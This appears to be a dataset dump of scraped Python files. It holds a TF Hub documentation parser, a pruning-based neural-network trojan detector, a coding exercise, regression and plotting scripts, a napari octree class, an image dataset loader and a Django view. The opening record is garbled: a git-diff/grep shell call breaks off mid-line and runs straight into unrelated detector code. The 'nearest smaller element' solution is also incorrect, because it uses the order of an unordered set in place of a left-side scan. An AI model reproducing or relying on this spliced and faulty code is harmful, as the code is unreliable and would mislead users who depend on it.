{e}.\")\n\n\nclass TfjsParsingPolicy(ParsingPolicy):\n \"\"\"ParsingPolicy for TF.js documentation.\"\"\"\n\n def __init__(self, publisher: str, model_name: str, model_version: str):\n super(TfjsParsingPolicy,\n self).__init__(publisher, model_name, model_version,\n [\"asset-path\", \"parent-model\"], [])\n\n @property\n def type_name(self) -> str:\n return \"Tfjs\"\n\n\nclass LiteParsingPolicy(TfjsParsingPolicy):\n \"\"\"ParsingPolicy for TFLite documentation.\"\"\"\n\n @property\n def type_name(self) -> str:\n return \"Lite\"\n\n\nclass CoralParsingPolicy(TfjsParsingPolicy):\n \"\"\"ParsingPolicy for Coral documentation.\"\"\"\n\n @property\n def type_name(self) -> str:\n return \"Coral\"\n\n\nclass PublisherParsingPolicy(ParsingPolicy):\n \"\"\"ParsingPolicy for publisher documentation.\n\n Publisher files should always be at root/publisher/publisher.md and they\n should not contain a 'format' tag as it has no effect.\n \"\"\"\n\n def __init__(self, publisher: str, model_name: str = \"\", model_version: str = \"\"):\n super(PublisherParsingPolicy, self).__init__(publisher, model_name,\n model_version, [], [])\n\n @property\n def type_name(self) -> str:\n return \"Publisher\"\n\n def get_expected_file_path(self, root_dir: str) -> str:\n \"\"\"Returns the expected path of the documentation file.\"\"\"\n return os.path.join(root_dir, self._publisher, self._publisher + \".md\")\n\n def assert_correct_file_path(self, file_path: str, root_dir: str):\n \"\"\"Extend base method by also checking for /publisher/publisher.md.\"\"\"\n expected_file_path = self.get_expected_file_path(root_dir)\n if expected_file_path and file_path != expected_file_path:\n raise MarkdownDocumentationError(\n \"Documentation file is not on a correct path. Documentation for the \"\n f\"publisher '{self.publisher}' should be submitted to \"\n f\"'{expected_file_path}'\")\n super().assert_correct_file_path(file_path, root_dir)\n\n\nclass DocumentationParser(object):\n \"\"\"Class used for parsing model documentation strings.\"\"\"\n\n def __init__(self, documentation_dir: str):\n self._documentation_dir = documentation_dir\n self._parsed_metadata = dict()\n self._parsed_description = \"\"\n self._file_path = \"\"\n self._lines = []\n self._current_index = 0\n self.policy = None\n\n @property\n def parsed_description(self) -> str:\n return self._parsed_description\n\n @property\n def parsed_metadata(self) -> str:\n return self._parsed_metadata\n\n def raise_error(self, message: str):\n message_with_file = f\"Error at file {self._file_path}: {message}\"\n raise MarkdownDocumentationError(message_with_file)\n\n def get_policy_from_first_line(self, first_line: str) -> ParsingPolicy:\n \"\"\"Return an appropriate ParsingPolicy instance for the first line.\"\"\"\n patterns_and_policies = [\n (MODEL_HANDLE_PATTERN, SavedModelParsingPolicy),\n (PLACEHOLDER_HANDLE_PATTERN, PlaceholderParsingPolicy),\n (LITE_HANDLE_PATTERN, LiteParsingPolicy),\n (TFJS_HANDLE_PATTERN, TfjsParsingPolicy),\n (CORAL_HANDLE_PATTERN, CoralParsingPolicy),\n (PUBLISHER_HANDLE_PATTERN, PublisherParsingPolicy),\n (COLLECTION_HANDLE_PATTERN, CollectionParsingPolicy),\n ]\n for pattern, policy in patterns_and_policies:\n match = re.match(pattern, first_line)\n if not match:\n continue\n groups = match.groupdict()\n return policy(\n groups.get(\"publisher\"), groups.get(\"name\"), groups.get(\"vers\"))\n # pytype: disable=bad-return-type\n self.raise_error(\n \"First line of the documentation file must match one of the following \"\n \"formats depending on the MD type:\\n\"\n f\"TF Model: {MODEL_HANDLE_PATTERN}\\n\"\n f\"TFJS: {TFJS_HANDLE_PATTERN}\\n\"\n f\"Lite: {LITE_HANDLE_PATTERN}\\n\"\n f\"Coral: {CORAL_HANDLE_PATTERN}\\n\"\n f\"Publisher: {PUBLISHER_HANDLE_PATTERN}\\n\"\n f\"Collection: {COLLECTION_HANDLE_PATTERN}\\n\"\n f\"Placeholder: {PLACEHOLDER_HANDLE_PATTERN}\\n\"\n \"For example '# Module google/text-embedding-model/1'. Instead the \"\n f\"first line is '{first_line}'\")\n # pytype: enable=bad-return-type\n\n def assert_publisher_page_exists(self):\n \"\"\"Assert that publisher page exists for the publisher of this model.\"\"\"\n # Use a publisher policy to get the expected documentation page path.\n publisher_policy = PublisherParsingPolicy(self.policy.publisher)\n expected_publisher_doc_file_path = publisher_policy.get_expected_file_path(\n self._documentation_dir)\n if not tf.io.gfile.exists(expected_publisher_doc_file_path):\n self.raise_error(\n \"Publisher documentation does not exist. \"\n f\"It should be added to {expected_publisher_doc_file_path}.\")\n\n def consume_description(self):\n \"\"\"Consume second line with a short model description.\"\"\"\n description_lines = []\n self._current_index = 1\n # Allow an empty line between handle and description.\n if not self._lines[self._current_index]:\n self._current_index += 1\n while self._lines[self._current_index] and not self._lines[\n self._current_index].startswith(\"\")\n\n def _is_asset_path_modified(self) -> bool:\n \"\"\"Return True if the asset-path tag has been added or modified.\"\"\"\n # pylint: disable=subprocess-run-check\n command = f\"git diff {self._file_path} | grep '+ sampling_probability = 0.02\n sampling_probability = 0.02\n\n # TEST\n # filter_hist_filepath = './number_filters.csv'\n # with open(filter_hist_filepath, 'a') as fh:\n # fh.write(\"model_name,{}, \".format(model_name))\n # fh.write(\"pruning_method,{}, \".format(pruning_method))\n # fh.write(\"ranking_method,{}, \".format(ranking_method))\n # fh.write(\"sampling_method,{}, \".format(sampling_method))\n # fh.write(\"sampling_probability,{}, \".format(sampling_probability))\n # fh.write(\"\\n\")\n\n\n\n ##########################################\n # Temporary hack for the prune method = remove because the shufflenet architecture is not supported\n if 'remove' in pruning_method and 'shufflenet' in model_name:\n scratch_filepath = os.path.join(scratch_dirpath, model_name + '_log.csv')\n prob_trojan_in_model = 0.5\n with open(scratch_filepath, 'a') as fh:\n # fh.write(\"model_filepath, {}, \".format(model_filepath))\n fh.write(\"number of params, {}, \".format(0))\n fh.write(\"{}, \".format(model_name))\n fh.write(\"{}, \".format(pruning_method))\n fh.write(\"{}, \".format(sampling_method))\n fh.write(\"{}, \".format(ranking_method))\n fh.write(\"{}, \".format(num_samples))\n fh.write(\"{}, \".format(num_images_used))\n fh.write(\"{:.4f}, \".format(sampling_probability))\n for i in range(num_samples):\n fh.write(\"{:.4f}, \".format(0))\n\n fh.write(\"mean, {:.4f}, \".format(0))\n fh.write(\"stdev, {:.4f}, \".format(0))\n fh.write(\"min, {:.4f}, \".format(0))\n fh.write(\"max, {:.4f}, \".format(0))\n fh.write(\"coef_var, {:.4f}, \".format(0))\n fh.write(\"num_min2max_ordered, {}, \".format(0))\n fh.write(\"num_max2min_ordered, {}, \".format(0))\n fh.write(\"slope, {:.4f}, \".format(0))\n fh.write(\"prob_trojan_in_model, {:.4f}, \".format(prob_trojan_in_model))\n fh.write(\"execution time [s], {}, \\n\".format((0)))\n\n # write the result to a file\n with open(result_filepath, 'w') as fh:\n fh.write(\"{}\".format(prob_trojan_in_model))\n\n return prob_trojan_in_model\n ##############################################################\n # Inference the example images in data\n fns = [os.path.join(examples_dirpath, fn) for fn in os.listdir(examples_dirpath) if\n fn.endswith(example_img_format)]\n # if len(fns) > 10:\n # fns = fns[0:5]\n #\n\n # sort the list of files to assure reproducibility across operating systems\n fns.sort()\n num_images_avail = len(fns)\n\n with open(scratch_filepath, 'a') as fh:\n fh.write(\"num_images_avail, {}, \".format(num_images_avail))\n fh.write(\"num_images_used, {}, \".format(num_images_used))\n\n print('number of images available for eval per model:', num_images_avail)\n\n if num_images_avail < num_images_used:\n num_images_used = num_images_avail\n print('WARNING: ', num_images_avail, ' is less than ', num_images_used)\n print(\n 'WARNING: this should never happen for round 2 since there are 5-25 classes per model and 10-20 images per class')\n\n step = num_images_avail // num_images_used\n temp_idx = []\n for i in range(step // 2, num_images_avail, step):\n if len(temp_idx) < num_images_used:\n temp_idx.append(i)\n\n fns = [fns[i] for i in temp_idx]\n print('selected images:', fns)\n\n # prepare data list for evaluations\n mydata = {}\n mydata['test'] = my_dataset(fns)\n test_loader = get_dataloader(mydata['test'])\n\n #######################################\n # load a model\n try:\n model_orig = torch.load(model_filepath, map_location=mydevice)\n except:\n print(\"Unexpected loading error:\", sys.exc_info()[0])\n # close the line\n with open(scratch_filepath, 'a') as fh:\n fh.write(\"\\n\")\n raise\n\n # model = torch.nn.modules.container.Sequential.cpu(model)\n # the eval is needed to set the model for inferencing\n # model.eval()\n params = sum([np.prod(p.size()) for p in model_orig.parameters()])\n print(\"Before Number of Parameters: %.1fM\" % (params / 1e6))\n acc_model = 1.0 # eval(model_orig, test_loader, result_filepath, model_name)\n print(\"Before Acc=%.4f\\n\" % (acc_model))\n # with open(scratch_filepath, 'a') as fh:\n # fh.write(\"model_filepath: {}, \".format(model_filepath))\n # fh.write(\"model_name: {}, \".format(model_name))\n # fh.write(\"original number of params: {}, \".format((params / 1e6)))\n # fh.write(\"original model accuracy: {} \\n\".format(acc_model))\n\n #####################################\n # prepare the model and transforms\n # TODO check is setting the model variable here works\n if 'googlenet' in model_name or 'inception' in model_name:\n model_orig.aux_logits = False\n elif 'fcn' in model_name or 'deeplabv3' in model_name:\n model_orig.aux_loss = None\n\n if 'fcn' in model_name or 'deeplabv3' in model_name:\n output_transform = lambda x: x['out']\n else:\n output_transform = None\n\n print(model_name)\n\n acc_pruned_model_shift = []\n pruning_shift = []\n\n for sample_shift in range(num_samples):\n model = copy.deepcopy(model_orig)\n # if sample_shift > 0:\n # # load a model\n # model = torch.load(model_filepath, map_location=mydevice)\n\n # test model\n # acc_not_pruned_model = eval(model, test_loader, result_filepath, model_name)\n # print('model before pruning: ', model_filepath, ' acc_model: ', acc_model, ' acc_not_pruned_model: ', acc_not_pruned_model)\n # #print('before pruning:', model)\n\n print('INFO: reset- pruning for sample_shift:', sample_shift)\n try:\n if 'remove' in pruning_method:\n prune_model(model, model_name, output_transform, sample_shift, sampling_method, ranking_method,\n sampling_probability, num_samples)\n if 'reset' in pruning_method:\n reset_prune_model(model, model_name, sample_shift, sampling_method, ranking_method, sampling_probability,\n num_samples)\n if 'trim' in pruning_method:\n trim_model(model, model_name, sample_shift, sampling_method, ranking_method, sampling_probability,\n num_samples, trim_pruned_amount)\n\n except:\n # this is relevant to PM=Remove because it fails for some configurations to prune the model correctly\n print(\"Unexpected pruning error:\", sys.exc_info()[0])\n # close the line\n with open(scratch_filepath, 'a') as fh:\n fh.write(\"\\n\")\n raise\n\n acc_pruned_model = eval(model, test_loader, result_filepath, model_name)\n print('model: ', model_filepath, ' acc_model: ', acc_model, ' acc_pruned_model: ', acc_pruned_model)\n acc_pruned_model_shift.append(acc_pruned_model)\n pruning_shift.append(sample_shift)\n del model\n\n # compute simple stats of the measured signal (vector of accuracy values over a set of pruned models)\n mean_acc_pruned_model = statistics.mean(acc_pruned_model_shift)\n mean_pruning_shift = statistics.mean(pruning_shift)\n slope = 0.0\n denominator = 0.0\n for i in range(len(pruning_shift)):\n slope += (pruning_shift[i] - mean_pruning_shift) * (acc_pruned_model_shift[i] - mean_acc_pruned_model)\n denominator += (pruning_shift[i] - mean_pruning_shift) * (pruning_shift[i] - mean_pruning_shift)\n\n slope = slope / denominator\n print('INFO: slope:', slope)\n\n stdev_acc_pruned_model = statistics.stdev(acc_pruned_model_shift)\n min_acc_pruned_model = min(acc_pruned_model_shift)\n max_acc_pruned_model = max(acc_pruned_model_shift)\n print('mean_acc_pruned_model:', mean_acc_pruned_model, ' stdev_acc_pruned_model:', stdev_acc_pruned_model)\n print('min_acc_pruned_model:', min_acc_pruned_model, ' max_acc_pruned_model:', max_acc_pruned_model)\n\n # the samples should be ordered from the largest accuracy to the smallest accuracy\n # since the pruning is removing the smallest L1 norm to the largest L1 norm\n num_min2max_ordered = 0\n num_max2min_ordered = 0\n for i in range(len(acc_pruned_model_shift) - 1):\n if acc_pruned_model_shift[i] < acc_pruned_model_shift[i + 1]:\n num_min2max_ordered += 1\n if acc_pruned_model_shift[i] > acc_pruned_model_shift[i + 1]:\n num_max2min_ordered += 1\n\n # low coefficient of variation could indicate that a trojan might be present\n if mean_acc_pruned_model > 0.01:\n coef_var = stdev_acc_pruned_model / mean_acc_pruned_model\n else:\n coef_var = 0.0\n\n prob_trojan_in_model = coef_var\n if prob_trojan_in_model < 0:\n prob_trojan_in_model = 0\n\n if prob_trojan_in_model > 1.0:\n prob_trojan_in_model = 1.0\n print('coef of variation:', coef_var, ' prob_trojan_in_model:', prob_trojan_in_model)\n\n # round 3 - linear regression coefficients applied to the num_samples (signal measurement)\n # this function should be enabled if the estimated multiple linear correlation coefficients should be applied\n if num_samples == 15 and 'reset' in pruning_method and 'L1' in ranking_method and 'targeted' in sampling_method:\n print('Applying existing model r3_reset_L1_targeted_15_10_0p067.csv')\n linear_regression_filepath = './linear_regression_data/r3_reset_L1_targeted_15_10_0p067.csv'\n trained_coef = read_regression_coefficients(linear_regression_filepath, model_name)\n prob_trojan_in_model = linear_regression_prediction(trained_coef, acc_pruned_model_shift)\n\n # stop timing the execution\n end = time.time()\n\n with open(scratch_filepath, 'a') as fh:\n # fh.write(\"model_filepath, {}, \".format(model_filepath))\n fh.write(\"number of params, {}, \".format((params / 1e6)))\n fh.write(\"{}, \".format(model_name))\n fh.write(\"{}, \".format(pruning_method))\n fh.write(\"{}, \".format(sampling_method))\n fh.write(\"{}, \".format(ranking_method))\n fh.write(\"{}, \".format(num_samples))\n fh.write(\"{}, \".format(num_images_used))\n fh.write(\"{:.4f}, \".format(sampling_probability))\n for i in range(len(acc_pruned_model_shift)):\n fh.write(\"{:.4f}, \".format(acc_pruned_model_shift[i]))\n\n fh.write(\"mean, {:.4f}, \".format(mean_acc_pruned_model))\n fh.write(\"stdev, {:.4f}, \".format(stdev_acc_pruned_model))\n fh.write(\"min, {:.4f}, \".format(min_acc_pruned_model))\n fh.write(\"max, {:.4f}, \".format(max_acc_pruned_model))\n fh.write(\"coef_var, {:.4f}, \".format(coef_var))\n fh.write(\"num_min2max_ordered, {}, \".format(num_min2max_ordered))\n fh.write(\"num_max2min_ordered, {}, \".format(num_max2min_ordered))\n fh.write(\"slope, {:.4f}, \".format(slope))\n fh.write(\"prob_trojan_in_model, {:.4f}, \".format(prob_trojan_in_model))\n fh.write(\"execution time [s], {}, \\n\".format((end - start)))\n\n # write the result to a file\n with open(result_filepath, 'w') as fh:\n fh.write(\"{}\".format(prob_trojan_in_model))\n\n del model_orig\n del fns\n return prob_trojan_in_model\n\n\n####################################################################################\nif __name__ == '__main__':\n entries = globals().copy()\n\n print('torch version: %s \\n' % (torch.__version__))\n\n parser = argparse.ArgumentParser(\n description='Fake Trojan Detector to Demonstrate Test and Evaluation Infrastructure.')\n parser.add_argument('--model_filepath', type=str, help='File path to the pytorch model file to be evaluated.',\n required=True)\n parser.add_argument('--result_filepath', type=str,\n help='File path to the file where output result should be written. After execution this file should contain a single line with a single floating point trojan probability.',\n required=True)\n parser.add_argument('--scratch_dirpath', type=str,\n help='File path to the folder where scratch disk space exists. This folder will be empty at execution start and will be deleted at completion of execution.',\n required=True)\n parser.add_argument('--examples_dirpath', type=str,\n help='File path to the folder of examples which might be useful for determining whether a model is poisoned.',\n required=False)\n\n args = parser.parse_args()\n print('args %s \\n %s \\n %s \\n %s \\n' % (\n args.model_filepath, args.result_filepath, args.scratch_dirpath, args.examples_dirpath))\n\n trojan_detector(args.model_filepath, args.result_filepath, args.scratch_dirpath, args.examples_dirpath)\n","sub_path":"trojan_detector_round3.py","file_name":"trojan_detector_round3.py","file_ext":"py","file_size_in_byte":25147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"467060868","text":"\"\"\"\nGiven an array of n integers, find the nearest smaller number for every element such that the smaller element is on left side.\n\nIf no such element exit print -1\n\nInput:\nFirstline indicates integer n\nSecond line contains the elements of array\n\nOutput:\nprint the closest smaller element for each element in its left side\n\nExamples:\n\nInput:\n6\n1 6 4 10 2 5\n\nOutput:\n-1 1 1 6 1 4 \n\nExplanation:\nFirst element ('1') has no element on left side. For 6, \nthere is only one smaller element on left side '1'. \nFor 10, there are three smaller elements on left side (1,\n6 and 4), nearest among the three elements is 6.\n\nInput:\n5\n1 3 0 2 5\nOutput:\n-1 1 -1 1 3 \n\n\"\"\"\ndef closestSmall(arr,n):\n l=[]\n t=set()\n for i in arr:\n t.add(i)\n t=list(t)\n for i in arr:\n s=t.index(i)-1\n if s==-1:\n l.append(-1)\n else:\n l.append(t[s])\n return l\nn=int(input())\narr=list(map(int,input().split()))\nprint(*closestSmall(arr,n))\n","sub_path":"nearest smaller elements leftside.py","file_name":"nearest smaller elements leftside.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"530016358","text":"# -*- coding: utf-8 -*-\n\"\"\"\n=================================================\nMSAI Solver Class with linear and logistic regression\n=================================================\nOn 2018 march\nAuthor: Drakael Aradan\n\"\"\"\nfrom MSAI_Regression import MSAI_Regression\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nimport numpy as np\n\n\ndef p(mess, obj):\n \"\"\"Useful function for tracing\"\"\"\n if hasattr(obj, 'shape'):\n print(mess, type(obj), obj.shape, \"\\n\", obj)\n else:\n print(mess, type(obj), \"\\n\", obj)\n\n#on ferme toutes les éventuelles fenêtres\nplt.close('all')\n#on enregistre le temps courant\n# = on démarre le chronomètre\ntic_time = datetime.now()\n\n#variables de base\nn_dimensions = 1\nn_samples = 38\nrange_x = 10\nmax_iterations = 1000\nlearning_rate = 0.1\nrandomize = 0.0\nmax_execution_time = 111\ntrue_weights = None\n\n#déclaration du solveur\nsolver = MSAI_Regression(max_iterations, learning_rate, randomize,\n max_execution_time, tic_time)\n\n#solver.set_selective_regression()\n\n#initialisation aléatoire du set d'entrainement\nX, Y, true_weights, true_biases = solver.severe_randomizer('LogisticRegression', n_samples, n_dimensions, range_x)\n\n#X = np.random.normal(0, 2, 100)\n#Y = np.random.normal(0, 2, 100)\n\n#from sklearn.datasets import fetch_california_housing\n#dataset = fetch_california_housing()\n#X, Y = dataset.data, dataset.target\n#n_samples, n_dimensions = X.shape\n#Y = Y.reshape(len(Y),1)\n\n#degre = np.floor(np.log10(range_x))\n#if degre < 1:\n# degre = 1\n#rand_categories = []\n#rand_offsets = []\n#for i in range(n_dimensions):\n# rand_category = np.random.randint(0,degre)\n# rand_categories.append(rand_category)\n# #rand_offset = np.random.randint(0,degre)-((degre-1)/2)\n# rand_offset = (np.random.random()-0.5)#*10**rand_category\n# rand_offsets.append(rand_offset)\n#X, Y = make_classification(n_samples=n_samples,\n# n_features=n_dimensions,\n# n_informative=n_dimensions,\n# #scale=range_x,\n# shift=rand_offsets,\n# n_redundant=0,\n# n_repeated=0,\n# n_classes=2,\n# random_state=np.random.randint(100),\n# shuffle=False)\n#Y = Y.reshape(len(Y),1)\n\n#affichages préliminaires\np('X', X)\np('true_weights', true_weights)\np('true_biases', true_biases)\n#p('theta_initial',theta_initial)\np('Y', Y)\n\n#entrainement du modèle sur les données\nsolver.fit(X, Y, target_thetas=true_weights, target_bias=true_biases)\n\n#affichage finaux\npredicted_thetas = solver.get_predicted_thetas()\npredicted_bias = solver.get_predicted_bias()\nprint('Thetas start', \"\\n\", solver.get_starting_thetas()) \nif true_weights is not None:\n print(\"Thetas target\\n\", true_weights) \nif true_biases is not None:\n print(\"Biases target\\n\", true_biases) \nprint('Theta end : ', \"\\n\", predicted_thetas)\nprint('Bias end : ', \"\\n\", predicted_bias)\nprint('Means : ', \"\\n\", solver.get_mean())\nprint('Medians : ', \"\\n\", solver.get_median())\nprint('StDs : ', \"\\n\", solver.get_std())\nprint('Ranges : ', \"\\n\", solver.get_ptp()) \nif true_weights is not None:\n print('Erreurs : ', \"\\n\", true_weights-predicted_thetas)\n global_error = np.sum(true_weights-predicted_thetas) # +np.sum(true_biases-predicted_bias)\n print('Erreur globale : ', \"\\n\", global_error)\n print('Erreur moyenne : ', \"\\n\", global_error/(len(X)))\n print('Erreur relative : ', \"\\n\", global_error/(len(X)*(range_x**2)*(n_dimensions**2)))\nrange_x = solver.get_range_x()\nprint('Range of values :', range_x)\nprint('Model :', solver.get_classifier())\n#arrêt du chronomètre\ndelta_time = (datetime.now()) - tic_time\n#affichage du temps de calcul global\nprint('Script executed in', delta_time.days, 'd', delta_time.seconds, 's',\n delta_time.microseconds, 'µs')\n","sub_path":"MSAI_Regression_logistic.py","file_name":"MSAI_Regression_logistic.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647931035","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom array_io import *\n\n\n\nfname = \"chevalier.txt\"\nr, M, us, Ps, rhos = read_five_arrays(fname)\n\nfname = \"chevalier.dimensionfull.txt\"\nx, M, u, P, rho, T = read_six_arrays(fname)\n\nmp = 1.6737236e-24\nn = rho / mp\n\nlog_r = np.log10(r)\nlog_rhos = np.log10(rhos)\nlog_us = np.log10(us)\nlog_Ps = np.log10(Ps)\nlog_x = np.log10(x)\nlog_M = np.log10(M)\nlog_u = np.log10(u)\nlog_P = np.log10(P)\nlog_n = np.log10(n)\nlog_T = np.log10(T)\n\nfig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2,2)\n\nax1.plot(log_r, log_rhos)\nax1.plot(log_r, log_us)\nax1.plot(log_r, log_Ps)\nax1.set_xlim([-0.5, 0.5])\nax1.set_ylim([-4.0, 1.0])\nax1.set_xlabel(r'$log_{10}(r/R_{\\ast})$')\nax1.text(0.15,-1.3,r'$log_{10}(\\rho_{\\ast})$',color='blue')\nax1.text(0.15,0.3,r'$log_{10}(u_{\\ast})$',color='green')\nax1.text(0.15,-3.5,r'$log_{10}(P_{\\ast})$',color='red')\n\nax2.plot(x,log_n,'-',color='black')\nax2.set_xlim([0, 2000])\nax2.set_ylim([-3.0, 0.0])\nax2.set_xlabel('r [pc]')\nax2.set_ylabel('$log_{10}(n) [cm^{-3}]$')\nax2.vlines(1000, -3.0, 0.0, linestyle='dashed')\n\nax3.plot(x,log_u,'-',color='black')\nax3.set_xlim([0, 2000])\nax3.set_ylim([0, 4.0])\nax3.set_xlabel('r [pc]')\nax3.set_ylabel('$log_{10}(u) [km/s]$')\nax3.vlines(1000, 0.0, 4.0, linestyle='dashed')\n\nax4.plot(x,log_T,'-',color='black')\nax4.set_xlim([0, 2000])\nax4.set_ylim([6.0, 8.0])\nax4.set_xlabel('r [pc]')\nax4.set_ylabel('$log_{10}(T) [K]$')\nax4.vlines(1000, 6.0, 8.0, linestyle='dashed')\n\nfig.subplots_adjust(bottom=0.1)\nfig.subplots_adjust(top=0.95)\nfig.subplots_adjust(wspace=0.3)\nfig.subplots_adjust(hspace=0.3)\n\n\ns = 'chevalier.png'\nplt.savefig(s,bbox_inches='tight')\nplt.show()\n\n\n\n","sub_path":"plot_chevalier.py","file_name":"plot_chevalier.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"478032805","text":"\"\"\"OctreeIntersection class.\n\"\"\"\nfrom typing import List, Tuple\n\nimport numpy as np\n\nfrom .octree_level import OctreeLevel\nfrom .octree_util import ChunkData\n\n# TODO_OCTREE: These types might be a horrible idea but trying it for now.\nFloat2 = np.ndarray # [x, y] dtype=float64 (default type)\n\n\nclass OctreeIntersection:\n # TODO_OCTREE: this class needs a lot of work\n\n def __init__(self, level: OctreeLevel, corners_2d):\n self.level = level\n self.corners_2d = corners_2d\n\n info = self.level.info\n\n # TODO_OCTREE: don't split rows/cols so all these pairs of variables\n # are just one variable each?\n self.rows: Float2 = corners_2d[:, 0]\n self.cols: Float2 = corners_2d[:, 1]\n\n base = info.octree_info.base_shape\n\n self.normalized_rows = np.clip(self.rows / base[0], 0, 1)\n self.normalized_cols = np.clip(self.cols / base[1], 0, 1)\n\n self.rows /= info.scale\n self.cols /= info.scale\n\n self.row_range = self.row_range(self.rows)\n self.col_range = self.column_range(self.cols)\n\n def tile_range(self, span, num_tiles):\n \"\"\"Return tiles indices needed to draw the span.\"\"\"\n\n def _clamp(val, min_val, max_val):\n return max(min(val, max_val), min_val)\n\n tile_size = self.level.info.octree_info.tile_size\n\n span_tiles = [span[0] / tile_size, span[1] / tile_size]\n clamped = [\n _clamp(span_tiles[0], 0, num_tiles - 1),\n _clamp(span_tiles[1], 0, num_tiles - 1) + 1,\n ]\n\n # int() truncates which is what we want\n span_int = [int(x) for x in clamped]\n return range(*span_int)\n\n def row_range(self, span: Tuple[float, float]) -> range:\n \"\"\"Return row indices which span image coordinates [y0..y1].\"\"\"\n tile_rows = self.level.info.tile_shape[0]\n return self.tile_range(span, tile_rows)\n\n def column_range(self, span: Tuple[float, float]) -> range:\n \"\"\"Return column indices which span image coordinates [x0..x1].\"\"\"\n tile_cols = self.level.info.tile_shape[1]\n return self.tile_range(span, tile_cols)\n\n def is_visible(self, row: int, col: int) -> bool:\n \"\"\"Return True if the tile [row, col] is in the intersection.\n\n row : int\n The row of the tile.\n col : int\n The col of the tile.\n \"\"\"\n\n def _inside(value, value_range):\n return value >= value_range.start and value < value_range.stop\n\n return _inside(row, self.row_range) and _inside(col, self.col_range)\n\n def get_chunks(self) -> List[ChunkData]:\n \"\"\"Return chunks inside this intersection.\n\n Parameters\n ----------\n intersection : OctreeIntersection\n Describes some subset of one octree level.\n \"\"\"\n chunks = []\n\n level_info = self.level.info\n level_index = level_info.level_index\n\n scale = level_info.scale\n scale_vec = [scale, scale]\n\n tile_size = level_info.octree_info.tile_size\n scaled_size = tile_size * scale\n\n # Iterate over every tile in the rectangular region.\n data = None\n y = self.row_range.start * scaled_size\n for row in self.row_range:\n x = self.col_range.start * scaled_size\n for col in self.col_range:\n\n data = self.level.tiles[row][col]\n pos = [x, y]\n\n # Only include chunks that have non-zero area. Not sure why\n # some chunks are zero sized. But this will be a harmless\n # check if we get rid of them.\n if 0 not in data.shape:\n chunks.append(ChunkData(level_index, data, pos, scale_vec))\n\n x += scaled_size\n y += scaled_size\n\n return chunks\n","sub_path":"napari/layers/image/experimental/octree_intersection.py","file_name":"octree_intersection.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"216806918","text":"from glob import glob\nfrom os.path import join\n\nimport numpy as np\nimport torch.nn\nfrom openslide import OpenSlide\nfrom openslide.deepzoom import DeepZoomGenerator\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms import Compose, ToTensor, Normalize\n\n\nclass CRC(torch.utils.data.Dataset):\n\n def __init__(self, args, mode='train', ext='svs', get_indices=False, zoom_level=200, ):\n super(CRC, self).__init__()\n\n self.data = args.data\n self.mode = mode\n self.ext = ext\n self.get_indices = get_indices\n self.zoom_level = zoom_level\n\n self.rescale_size = args.rescale_size\n self.crop_size = args.crop_size\n\n self.images = []\n self.labels = []\n\n # Load images and labels (according to self.mode.upper() being [TRAIN/TEST/VAL])\n for subdir in glob(join(self.data, '*')):\n label = int(subdir.split('/')[-1].split('_')[0][-1])\n images_files = glob(join(subdir, f\"*.{self.ext}\"))\n\n self.images.extend(images_files)\n self.labels.extend([label, ] * len(images_files))\n\n # initialize data transformations\n self.trans = {\n 'train': Compose([\n ToTensor(),\n # Normalize((0.650, 0.472, 0.584), (0.256, 0.327, 0.268)),\n ]),\n 'val': Compose([\n ToTensor(),\n # Normalize((0.650, 0.472, 0.584), (0.256, 0.327, 0.268)),\n ])\n }\n\n def __getitem__(self, index):\n # Open the whole-slide file\n slide = OpenSlide(self.images[index])\n\n # Initialize a deepzoom object witht he size of the desired tile (tile_size+2*overlap should be a power of 2)\n data_gen = DeepZoomGenerator(slide, tile_size=224, overlap=0, limit_bounds=True)\n zoom_level = min(data_gen.level_count - 1, self.zoom_level)\n\n # Choose a zoom level and get the tiles available for said level\n # Note that 0 and last index are not included -> - [1, 1]\n # Note that the last tile could not be a full tipe -> - [1, 1]\n tiles_number = np.array(data_gen.level_tiles[zoom_level]) - [1, 1] - [1, 1]\n\n # Get the total number of available tiles by multiplying row tiles by column tiles\n tot_tiles = np.array(tiles_number).prod()\n\n # Get as many random tiles in that range as self.tiles_per_image indicates (sum 1 because the lib starts from 1)\n random_tile_index = np.random.randint(tot_tiles)\n\n # Go back to (row, col) notation\n random_tile = (random_tile_index % tiles_number[0] + 1, random_tile_index // tiles_number[0] + 1)\n\n tile = data_gen.get_tile(zoom_level, random_tile)\n # tile = np.array(data_gen.get_tile(zoom_level, random_tile))\n # tile = torch.tensor(tile)\n\n if self.get_indices:\n return self.trans.get(self.mode, self.trans['val'])(tile), index\n return self.trans.get(self.mode, self.trans['val'])(tile), self.labels[index]\n\n def __len__(self):\n return len(self.images)\n","sub_path":"dataset/rcc.py","file_name":"rcc.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"481696267","text":"from django.shortcuts import render\nfrom .models import Employee\n\n\ndef home(request):\n # emp1 = Employee(name=\"Soumya\", addr=\"hyd\")\n # emp1.save()\n employee_records = []\n print(Employee.objects.all())\n for record in Employee.objects.all():\n print(record.name)\n print(record.addr)\n employee_records.append({'name': record.name, 'addr': record.addr})\n print(employee_records)\n return render(request, 'iv_model/home.html', {'records': employee_records})\n","sub_path":"boilerplate/iv_model/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"642750335","text":"import torch.nn as nn\n\n\nclass MSANNet(nn.Module):\n def __init__(self, in_size, hidden_sizes, out_size, dropout_in=[]):\n super(MSANNet, self).__init__()\n self.in_size = in_size\n self.out_size = out_size\n self.hidden_sizes = hidden_sizes\n self.layers = nn.ModuleList()\n\n current_dim = self.in_size\n for i, h_dim in enumerate(hidden_sizes):\n if 